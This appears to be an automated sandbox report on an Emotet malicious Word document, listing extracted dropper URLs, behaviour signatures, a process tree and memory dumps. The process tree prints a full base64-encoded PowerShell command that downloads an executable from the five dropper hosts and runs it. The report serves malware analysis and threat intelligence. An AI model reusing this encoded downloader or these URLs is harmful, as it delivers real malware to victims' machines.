Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    63s
  • max time network
    51s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    13/08/2020, 17:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e3_e544ce8b42e472226ccaf34b4808645d7c860e080b95cccfbc79043e498dff97_2020-08-13__170845._doc.doc
  • Size 232KB
  • Sample200813-rrj67ym1fe
  • SHA256 e544ce8b42e472226ccaf34b4808645d7c860e080b95cccfbc79043e498dff97
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://gregemmerth.com/stats/rBZp0wy31512967/
  • exe.dropper

    http://paralink.com.br/faatads/19zPjcmw7r318182393/
  • exe.dropper

    http://riandutra.com/img/yiZS/
  • exe.dropper

    https://mrveggy.com/erros/Busgh63a1960/
  • exe.dropper

    http://mycyberhealth.online/yyczief/wlW/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 23 IoCs
  • JavaScript code in executable 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 282 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_e544ce8b42e472226ccaf34b4808645d7c860e080b95cccfbc79043e498dff97_2020-08-13__170845._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1496
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABBAE4AVwBUAFMAZQB2AGoAPQAnAEsASgBCAFkATwBvAGoAaQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwB1AHIAaQB0AGAAeQBwAGAAUgBgAE8AdABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWABTAEIATABYAGUAdwBjACAAPQAgACcAVwBtAHoAeQAnADsAJABQAFoASgBRAFMAawBmAHEAPQAnAEkARgBOAFQAVwB1AGgAdAAnADsAJABBAEwAWgBLAEgAbABvAGkAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABYAFMAQgBMAFgAZQB3AGMAKwAnAC4AZQB4AGUAJwA7ACQAUABYAE8ARQBaAHkAegBkAD0AJwBDAFAASQBKAEQAegBjAHkAJwA7ACQATwBKAEoASgBZAGEAaQBoAD0ALgAoACcAbgBlAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAEUAVAAuAHcAZQBiAEMAbABpAGUATgBUADsAJABLAEcASwBFAEgAagBvAGwAPQAnAGgAdAB0AHAAOgAvAC8AZwByAGUAZwBlAG0AbQBlAHIAdABoAC4AYwBvAG0ALwBzAHQAYQB0AHMALwByAEIAWgBwADAAdwB5ADMAMQA1ADEAMgA5ADYANwAvACoAaAB0AHQAcAA6AC8ALwBwAGEAcgBhAGwAaQBuAGsALgBjAG8AbQAuAGIAcgAvAGYAYQBhAHQAYQBkAHMALwAxADkAegBQAGoAYwBtAHcANwByADMAMQA4ADEAOAAyADMAOQAzAC8AKgBoAHQAdABwADoALwAvAHIAaQBhAG4AZAB1AHQAcgBhAC4AYwBvAG0ALwBpAG0AZwAvAHkAaQBaAFMALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHIAdgBlAGcAZwB5AC4AYwBvAG0ALwBlAHIAcgBvAHMALwBCAHUAcwBnAGgANgAzAGEAMQA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAYwB5AGIAZQByAGgAZQBhAGwAdABoAC4AbwBuAGwAaQBuAGUALwB5AHkAYwB6AGkAZQBmAC8AdwBsAFcALwAnAC4AIgBTAGAAUABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEoAQgBMAEsARQBoAGoAYQA9ACcASwBWAFIATwBBAGQAcwBrACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAE8ARwBGAEkAbAB1AGoAIABpAG4AIAAkAEsARwBLAEUASABqAG8AbAApAHsAdAByAHkAewAkAE8ASgBKAEoAWQBhAGkAaAAuACIAZABvAGAAVwBuAGAATABvAGEARABmAGkAYABMAGUAIgAoACQAUQBPAEcARgBJAGwAdQBqACwAIAAkAEEATABaAEsASABsAG8AaQApADsAJABLAEsAQQBMAFIAbwB4AGMAPQAnAFMAWQBDAE4AUgB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEEATABaAEsASABsAG8AaQApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAzADMANAAxACkAIAB7ACYAKAAnAEkAbgB2AG8AawBlAC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAKAAkAEEATABaAEsASABsAG8AaQApADsAJABFAFQASABWAFkAYwBvAGkAPQAnAE4ATwBGAFIAUwB5AHMAbgAnADsAYgByAGUAYQBrADsAJABZAEoAWABOAEIAZgBxAGMAPQAnAFgARQBUAFEAQwBsAGoAZwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAFAAQwBJAEQAZwBiAHAAPQAnAE0ARwBKAFAAWgBsAGEAegAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Users\Admin\AppData\Local\Temp\Wmzy.exe
      "C:\Users\Admin\AppData\Local\Temp\Wmzy.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1780
      • C:\Users\Admin\AppData\Local\Temp\.CR.28325\Avira.Spotlight.Bootstrapper.exe
        "C:\Users\Admin\AppData\Local\Temp\.CR.28325\Avira.Spotlight.Bootstrapper.exe" OriginalFileName=Wmzy.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1088

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1088-26-0x00000000003A0000-0x00000000003A1000-memory.dmp
        Download

        memory/1088-22-0x0000000000B80000-0x0000000000B81000-memory.dmp
        Download

        memory/1088-34-0x0000000000510000-0x0000000000511000-memory.dmp
        Download

        memory/1088-64-0x0000000002280000-0x0000000002281000-memory.dmp
        Download

        memory/1088-59-0x00000000021B0000-0x00000000021B1000-memory.dmp
        Download

        memory/1088-37-0x00000000003E0000-0x00000000003E1000-memory.dmp
        Download

        memory/1088-55-0x0000000000B50000-0x0000000000B51000-memory.dmp
        Download

        memory/1088-47-0x0000000002160000-0x0000000002161000-memory.dmp
        Download

        memory/1088-40-0x0000000000570000-0x0000000000571000-memory.dmp
        Download

        memory/1088-21-0x0000000073420000-0x0000000073B0E000-memory.dmp
        Download

        memory/1088-30-0x0000000000460000-0x0000000000461000-memory.dmp
        Download

        memory/1088-44-0x0000000000670000-0x0000000000671000-memory.dmp
        Download

        memory/1088-50-0x0000000002160000-0x0000000002161000-memory.dmp
        Download

        memory/1496-2-0x0000000008C30000-0x0000000008C34000-memory.dmp
        Download

        memory/1496-6-0x000000000C160000-0x000000000C164000-memory.dmp
        Download

        memory/1496-13-0x0000000002180000-0x0000000002181000-memory.dmp
        Download

        memory/1496-5-0x000000000B0E0000-0x000000000B0E4000-memory.dmp
        Download

        memory/1496-4-0x00000000071A0000-0x00000000073A0000-memory.dmp
        Download

        memory/1924-8-0x000007FEE95F0000-0x000007FEE9FDC000-memory.dmp
        Download

        memory/1924-9-0x00000000024C0000-0x00000000024C1000-memory.dmp
        Download

        memory/1924-10-0x000000001AB40000-0x000000001AB41000-memory.dmp
        Download

        memory/1924-12-0x0000000002010000-0x0000000002011000-memory.dmp
        Download

        memory/1924-11-0x0000000002600000-0x0000000002601000-memory.dmp
        Download

        memory/1924-14-0x000000001C2E0000-0x000000001C2E1000-memory.dmp
        Download

        memory/1924-15-0x000000001C7E0000-0x000000001C7E1000-memory.dmp
        Download